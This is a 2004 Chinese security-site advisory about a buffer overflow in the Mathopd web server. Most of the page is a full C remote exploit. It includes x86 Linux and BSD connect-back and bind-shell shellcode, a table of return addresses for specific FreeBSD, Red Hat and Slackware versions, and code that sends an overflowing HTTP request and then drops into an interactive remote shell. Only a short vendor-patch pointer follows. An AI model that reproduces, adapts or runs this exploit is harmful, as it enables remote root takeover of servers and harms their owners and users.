首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mathopd 缓冲溢出漏洞
来源:vfocus.net 作者:vitter 发布时间:2004-03-16  

Mathopd 缓冲溢出漏洞

涉及程序:
Mathopd

描述:
Mathopd 存在缓冲溢出漏洞

详细:
Mathopd是UNIX系统里一种非常小和速度快的HTTP服务器。

Mathopd支持像一致连接,部分响应,管道这样的HTTP/1.1协议,不支持上下文协议。最新的1.5版本还支持CGI/1.1。

Mathopd允许远程攻击者通过发送长路径的HTTP请求在受攻击的机器上执行任意代码。

攻击方法:
攻击代码:

//aionmex26.c
//
// mathopd 1.2/3/4/5b9 remote exploit
// discovered/exploit coded by aion
// (aion@ukr.net)
// (02/11/2003)
//^M
// need url that redirected
// in config look like this:
// Control {
// Alias /blablabla
// Location http://1.2.3.4
// }
//
// --- request.c:962 ----
// if (send_message) {
// b = buf;
// b += sprintf(b, "<title>%s</title>\n"
// "<h1>%s</h1>\n", r->status_line, r->status_line);
//
// ... and i realy need a job ...
//

#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define MAXB 1024*8
#define TIMEOUT 5
#define DELAY 100000
#define CLOSE(x) { if(x) { close(x); x=0;}}
#define FREE(x) { if(x) { free(x); x=NULL;}}
#define debug(x,y) { errno=0; y; perror(x); if(errno) exit(0);}

char x86_linux_connback[] =
/* 0x3f = 0x3e + incl %eax - parse avoid by aion */
// setuid(0), setgid(0)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
/* linux x86 connect back (port=0xb0ef) by eSDee of Netric */
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3e\x40\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3e\x40\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3e\x40\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

char x86_linux_bindshell[] =
// setuid(0), setgid(0)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
/* by morgan@sexter.com (36864) */
/* 0x3f = 0x3e + incl %eax - once again by aion */
"\xeb\x75\x5e\x29\xc0\x89\x46\x10\x40\x89"
"\xc3\x89\x46\x0c\x40\x89\x46\x08\x8d\x4e"
"\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10"
"\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89"
"\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16"
"\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
"\x43\xcd\x80\x86\xc3\xb0\x3e\x40\x29\xc9"
"\xcd\x80\xb0\x3e\x40\x41\xcd\x80\xb0\x3e"
"\x40\x41\xcd\x80\x88\x56\x07\x89\x76\x0c"
"\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8"
"\x86\xff\xff\xff/bin/sh";

/* x86/bsd PIC portshell shellcode
* by lorian/teso * port 0x4444
*/
unsigned char x86_bsd_portshell[] =
/* + setuidcode 7 bytes */
"\x33\xc0\x50\xb0\x17\x50\xcd\x80"
"\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
"\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
"\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
"\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
"\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
"\x80";

char x86_bsd_connback[] =
/* BSD x86 connect back (port=0xb0ef) by eSDee of Netric */
"\x31\xc0\x31\xdb\x53\xb3\x06\x53"
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x31\xd2\x52\x52\x68"
"\x41\x41\x41\x41\x66\x68\xb0\xef"
"\xb7\x02\x66\x53\x89\xe1\xb2\x10"
"\x52\x51\x50\x52\x89\xc2\x31\xc0"
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x31\xdb\x43\x53\x52"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
"\x53\x52\x50\xb0\x5a\xcd\x80\x31"
"\xc0\x50\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";

struct targets {
char *type;
unsigned long ret_addr;
int bsize;
int retfill;
} tlist[] = {
{ "1.2pl7 freebsd 4.6 (0)", 0xbfbff6f8, 800, 50 },
{ "1.3pl7 freebsd 4.6 (0)", 0xbfbff6e8, 800, 50 },
{ "1.4p1 freebsd 4.6 (0)", 0xbfbff7fc, 800, 50 },

{ "1.2pl7 freebsd 4.6 (1)", 0xbfbff6c0, 800, 50 },
{ "1.3pl7 freebsd 4.6 (1)", 0xbfbff6b0, 800, 50 },
{ "1.4p1 freebsd 4.6 (1)", 0xbfbff7c0, 800, 50 },

{ "1.2pl7 freebsd 4.6 (2)", 0xbfbff640, 800, 50 },
{ "1.3pl7 freebsd 4.6 (2)", 0xbfbff630, 800, 50 },
{ "1.4p1 freebsd 4.6 (2)", 0xbfbff744, 800, 50 },

{ "1.2pl7 freebsd 4.8\t", 0xbfbff640, 800, 50 },
{ "1.3pl7 freebsd 4.8\t", 0xbfbff630, 800, 50 },
{ "1.4p1 freebsd 4.8\t", 0xbfbff740, 800, 50 },

{ "1.2pl7 freebsd 4.9\t", 0xbfbff610, 800, 50 },
{ "1.3pl7 freebsd 4.9\t", 0xbfbff600, 800, 50 },
{ "1.4p1 freebsd 4.9\t", 0xbfbff710, 800, 50 },

{ "1.2pl7 freebsd 5.1\t", 0xbfbff5b0, 800, 50 },
{ "1.3pl7 freebsd 5.1\t", 0xbfbff5a0, 800, 50 },
{ "1.4p1 freebsd 5.1\t", 0xbfbff6b0, 800, 50 },

{ "1.2pl7 slackware 7.1.0", 0xbffff92c, 800, 50 },
{ "1.3pl7 slackware 7.1.0", 0xbffff91c, 800, 50 },
{ "1.4p1 slackware 7.1.0", 0xbffffa24, 800, 50 },

{ "1.2pl7 red hat 6.0\t", 0xbffff8dc, 800, 50 },
{ "1.3pl7 red hat 6.0\t", 0xbffff8dc, 800, 50 },
{ "1.4p1 red hat 6.0\t", 0xbffff9c4, 800, 50 },

{ "1.2pl7 red hat 9 (dynamic 0)", 0xbfffd9c0, 800, 50 },
{ "1.3pl7 red hat 9 (dynamic 0)", 0xbfffe130, 800, 50 },
{ "1.4p1 red hat 9 (dynamic 0)", 0xbfffecd0, 800, 50 },

{ "1.2pl7 red hat 9 (dynamic 1)", 0xbfffe820, 800, 50 },
{ "1.3pl7 red hat 9 (dynamic 1)", 0xbffff110, 800, 50 },
{ "1.4p1 red hat 9 (dynamic 1)", 0xbffff4b0, 800, 50 },

{ "1.2pl7 celinux-2.0.02\t", 0xbffff500, 800, 50 },
{ "1.3pl7 celinux-2.0.02\t", 0xbffff4f0, 800, 50 },
{ "1.4p1 celinux-2.0.02\t", 0xbffff610, 800, 50 },

{ "1.2pl7 asplinux 9\t", 0xbffff590, 800, 50 },
{ "1.3pl7 asplinux 9\t", 0xbffff5b0, 800, 50 },
{ "1.4p1 asplinux 9\t", 0xbffff6b0, 800, 50 },

// 1.5b9 - beta version, always crash in getenv()
{ "1.2/3/4/5 crash\t", 0x12345678, 800, 50 },
{ NULL, 0, 0, 0}
};

struct shellcodes {
char *shelltype;
char *shellcode;
int shellport;
int backport;
} slist[] = {
{ "x86_bsd_portshell ", x86_bsd_portshell, 17476, 0 },
{ "x86_bsd_connback ", x86_bsd_connback, 0, 45295 },
{ "x86_linux_bindshell", x86_linux_bindshell, 36864, 0 },
{ "x86_linux_connback ", x86_linux_connback, 0, 45295 },
{ NULL, NULL, 0, 0}
};

fd_set rfds;
static jmp_buf w;
struct sockaddr_in s;
long *addr_ptr, addr=0, inet=0,
starttime, timeout=0, back=0;
int i=0, rlen=0, bsize=0,
retfill=0, t=0, port=80,
offset=60, srvok=1, m302ok=0,
ver=0, exploit=0, shellport=0,
sock=0, backport=0, a=0,
b=0, c=0, d=0,
l=sizeof(s);
char *buff, *ptr, *shellcode=NULL,
ch, brute=0, *target,
*dest, verbose=0, cmd[MAXB],
*shelltype,
path[256] = "/secure/";

int writem() {
return write(t,cmd,strlen(cmd));
}

void vwrite_log(const char *fmt, va_list ap) {
char vbuf[MAXB];
char *p = vbuf; *p = 0;

strcpy(vbuf, "aion> "); p += strlen(vbuf);
vsnprintf(p, sizeof(vbuf) - strlen(vbuf), fmt, ap);
write(2, vbuf, strlen(vbuf));
fflush(NULL);
usleep(DELAY);
}

void log(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vwrite_log(fmt, ap);
va_end(ap);
}

void recvall(int a)
{
do {
i = read(t, cmd, MAXB); cmd[i]=0;
if(i<=0) return;
if(verbose) write(2, cmd, i);
if(a) continue;
if((ptr=strstr(cmd, "302 Moved")))
log(" ... 302 Moved: ok\n"), m302ok = 1;
if((ptr=strstr(cmd, "Server: "))) {
char *srv=strdup(ptr + strlen("Server: "));

for(i=0; i<strlen(srv); i++)
if(srv[i]=='\n'||srv[i]=='\r') srv[i]=0;
log(" ... Server: %s %s\n", srv,
!(srvok=strncmp(srv, "Mathopd", strlen("Mathopd"))) ? "ok" : "fail");
free(srv);
}
if((ptr=strstr(cmd, "Content-length"))) {
for(i=0; i<strlen(ptr); i++)
if(ptr[i]=='\n'||ptr[i]=='\r') ptr[i]=0;
log(" ... %s\n\n", ptr);
if(!(ptr=strchr(ptr, 0x20))) return;
ptr++; rlen = atoi(ptr);
}
} while(i>0);
}

int connectm(char *ip, int port, int *t) {
struct sockaddr_in sck;
struct hostent *hp;

alarm(20);
if(!(*t=socket(PF_INET, SOCK_STREAM, 0))) return -1;
if((inet=inet_addr(ip))==-1) {
if((hp=gethostbyname(ip))) memcpy (&inet, hp->h_addr, 4);
else { log("error> cannot resolve %s\n", ip); return -1;}
}
sck.sin_family=PF_INET; sck.sin_port=htons(port); sck.sin_addr.s_addr=inet;
inet=connect(*t, (struct sockaddr *)&sck, sizeof(sck));
perror(NULL); alarm(0); return inet;
}

void list_targets () {
log("available targets:\n");
for(i=0; tlist[i].type != NULL; i++) {
log(" %2d %s\t\t 0x%08x %5d %4d\n",
i+1, tlist[i].type, (unsigned int) tlist[i].ret_addr,
tlist[i].bsize, tlist[i].retfill);
if(!((i+1)%3)) fputc('\n', stderr);
}
fputc('\n', stderr); log("shellcodes:\n");
for(i=0; slist[i].shelltype != NULL; i++)
log(" %2d %s (%d)\t\t %6d %6d\n",
i, slist[i].shelltype, strlen(slist[i].shellcode),
slist[i].shellport, slist[i].backport); fputc('\n', stderr);
}

void usage(char *v) {
log("\n\tmathopd remote exploit by aion (aion@ukr.net)\n\n"
"usage: %s [options] [host[:port]]\n"
"options:\n"
"base:\n"
" -t <target> predefined target (0 for a list)\n"
" -s <code> shellcode to use\n"
" -p <path> url that redirected (default: %s)\n"
"other:\n"
" -a <address> shellcode address\n"
" -l <rlen> response lenght\n"
" -i <number> buffer size\n"
" -r <number> fill buffer with ret addr\n"
" -x test shellcode\n"
" -e exploit\n"
" -b <ip> connect back ip\n"
" -v verbose mode\n\n",
v, path);
exit(0);
}

void test_shellcode() {
void (* v)(void);
v = (void *) shellcode;
v();
}

void shell() {
while (1) {
FD_SET(0, &rfds);
FD_SET(sock, &rfds);

select(sock + 1, &rfds, NULL, NULL, NULL);
if(FD_ISSET(0, &rfds)) {
debug("... read", i = read(0, cmd, sizeof(cmd)));
debug("... send data", write(sock, cmd, i));
if(!strncmp(cmd, "exit", 4)) {
log("exit ...\n");
break;
}
}
if(FD_ISSET(sock, &rfds)) {
debug("... read", i = read(sock, cmd, sizeof(cmd)));
debug("... recv data", write(1, cmd, i));
if(!i) {
log("connection closed by foreign host\n");
break;
}
}
}
}

void sigh(int sn) {
log("use exit cmd ...\n", sn);
}

int main(int argc, char **argv, char **env) {
if(argc<=1) usage(argv[0]); fputc('\n', stderr);
while((ch=getopt(argc,argv,"t:s:p:a:l:i:r:xeb:vh"))!=EOF)
switch (ch) {
case 't': {
i = atoi(optarg);
if(!i)
list_targets(),
exit(0);
else
i--;
target = tlist[i].type;
addr = tlist[i].ret_addr;
bsize = tlist[i].bsize;
retfill = tlist[i].retfill;
if(strstr(tlist[i].type, "1.3")) ver=3;
if(strstr(tlist[i].type, "1.4")) ver=4;
} break;
case 's': {
i = atoi(optarg);
shelltype = slist[i].shelltype;
shellcode = slist[i].shellcode;
shellport = slist[i].shellport;
backport = slist[i].backport;
} break;
case 'p': strncpy(path, optarg, sizeof(path)); break;
case 'a': addr = strtoul(optarg, NULL, 0); break;
case 'l': rlen = atoi(optarg); break;
case 'i': bsize = atoi(optarg); break;
case 'r': retfill = atoi(optarg); break;
case 'v': verbose++; break;
case 'x': test_shellcode(); break;
case 'e': exploit++; break;
case 'b': {
strncpy(cmd, optarg, sizeof(cmd));
for(i = 0; i < strlen(cmd); i++)
if(cmd[i] == '.') cmd[i] = ' ';
sscanf(cmd, "%d %d %d %d", &a, &b, &c, &d);
if(!a||!b||!c||!d)
log("0 in the ip. pls use another\n"),
exit(0);
if(!shellcode)
log("use -s option before -b\n"),
exit(0);
if(shellcode==x86_bsd_connback)
shellcode[24] = (char ) a,
shellcode[25] = (char ) b,
shellcode[26] = (char ) c,
shellcode[27] = (char ) d,
memcpy(&back, shellcode+24, 4);
if(shellcode==x86_linux_connback)
shellcode[12+33] = (char ) a,
shellcode[12+34] = (char ) b,
shellcode[12+35] = (char ) c,
shellcode[12+36] = (char ) d,
memcpy(&back, shellcode+12+33, 4);
} break;
case 'h': default: usage(argv[0]); break;
}
dest=argv[argc - 1];
ptr=strchr(dest,':'); if(ptr!=NULL) { ptr[0]='\0'; ptr++; port=atoi(ptr);}

log("start attack: (1.%d) %s\n\n", ver, target);
log("connecting to %s %d ... ", dest, port);
if(connectm(dest, port, &t)) exit(0);
log("building query ...\n");
if(ver>3) {
sprintf(cmd, "Host: %s\n", dest);
target=strdup(cmd);
} else
target=strdup("");
sprintf(cmd,
"GET %s HTTP/1.0\n"
"%s"
"Accept: text/html, text/plain\n"
"Accept: application/postscript, text/sgml, */*;q=0.01\n"
"Accept-Encoding: gzip, compress\n"
"Accept-Language: en\n"
"Negotiate: trans\n"
"User-Agent: Lynx/6.6.6\n"
"\n", path, target);
log("sending query (%d) ... ", strlen(cmd));
if(verbose) log("send>\n%s\n<send\n", cmd);
writem(); perror(NULL);
log("receiving data ...\n");
recvall(rlen);
close(t);
if(srvok)
exit(0);
if(!m302ok)
log("url path not redirected. use -p to override\n"),
exit(0);
if(!rlen)
log("rlen auto detection fail. use -l to override\n"),
exit(0);
if(rlen % 2)
log("alignment error (rlen: %d). not exploitable.\n", rlen),
exit(0);

log("addr: 0x%x\n", (unsigned int) addr);
log("rlen: %d\n", rlen);
log("offset: %d\n", offset);
addr += rlen + offset;
log("use addr: 0x%x (addr + rlen + offset)\n", (unsigned int) addr);

bsize-=rlen;
bsize-=retfill;
bsize/=2;
log("buffer size: %d ((bsize-rlen-retfill)/2)\n", bsize);
log("retfill: %d\n", retfill);
log("shellcode len: %d\n\n", strlen(shellcode));

if(!exploit)
log("all seems ok. run again with -e option\n"),
exit(0);
if(backport) {
if(!back)
log("no connect back ip. use -b option\n"),
exit(0);
log("connect back to: 0x%08x %d\n", (unsigned long) back, backport);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
s.sin_family = AF_INET;
s.sin_port = htons(backport);
s.sin_addr.s_addr = htonl(INADDR_ANY);
debug("... bind", bind(sock, (struct sockaddr *)&s, sizeof(s)));
debug("... listen", listen(sock, 5));
}
starttime = time(NULL); setjmp(w);
log("ready in %d sec...\r", starttime + TIMEOUT - time(NULL));
if(starttime + TIMEOUT >= time(NULL)) longjmp(w, 1);

log("connecting to %s %d ... ", dest, port);
if(connectm(dest, port, &t)) exit(0);
log("building data ...\n");
buff = (char *)malloc(bsize+retfill*4+100);
memset(buff, 0x00, bsize+retfill*4+100);
for(i=0; i<bsize; i++) buff[i] = 0x90;
ptr=buff+((bsize)-(strlen(shellcode)));
for(i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0; i<retfill; i+=4) *(addr_ptr++)=addr;

log("building query + data ...\n");
sprintf(cmd,
"GET %s%s HTTP/1.0\n"
"%s"
"Accept: text/html, text/plain\n"
"Accept: application/postscript, text/sgml, */*;q=0.01\n"
"Accept-Encoding: gzip, compress\n"
"Accept-Language: en\n"
"Negotiate: trans\n"
"User-Agent: Lynx/6.6.6\n"
"\n", path, buff, target);
log("sending query + data (all: %d) (buff: %d) ... ",
strlen(cmd), strlen(buff));
if(verbose) log("send>\n%s\n<send\n", cmd);
writem(); perror(NULL);

log("shell ...\n");
if(shellport) {
log("connecting to %s %d ... ", dest, shellport);
sleep(1); if(connectm(dest, shellport, &sock)) exit(0);
}
if(backport) {
debug("... accept", sock = accept(sock, (struct sockaddr *)&s, &l));
}
signal(2, sigh);
shell();
CLOSE(t);
CLOSE(sock);
FREE(target);
log("done.\n");
return 0;
}




解决方案:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:


http://www.mathopd.org/download.html


附加信息:




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Nortel Networks Wireless LAN A
·Remote Buffer Overflow in MDae
·GNU Anubis 3.6.2 remote root e
·Foxmail 5远程缓冲区溢出漏洞
·WFTPd STAT Command Remote Vuln
·Win32 Vb cmd.exe remote shell
·Red Faction Server Reply Buffe
·Windows Media Services NSIISlo
·Linux Kernel 2.x mremap missin
·Eudora for Windows attachment
·WFTPD Server buffer overflow R
·WS_FTP Server ALLO Remote buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved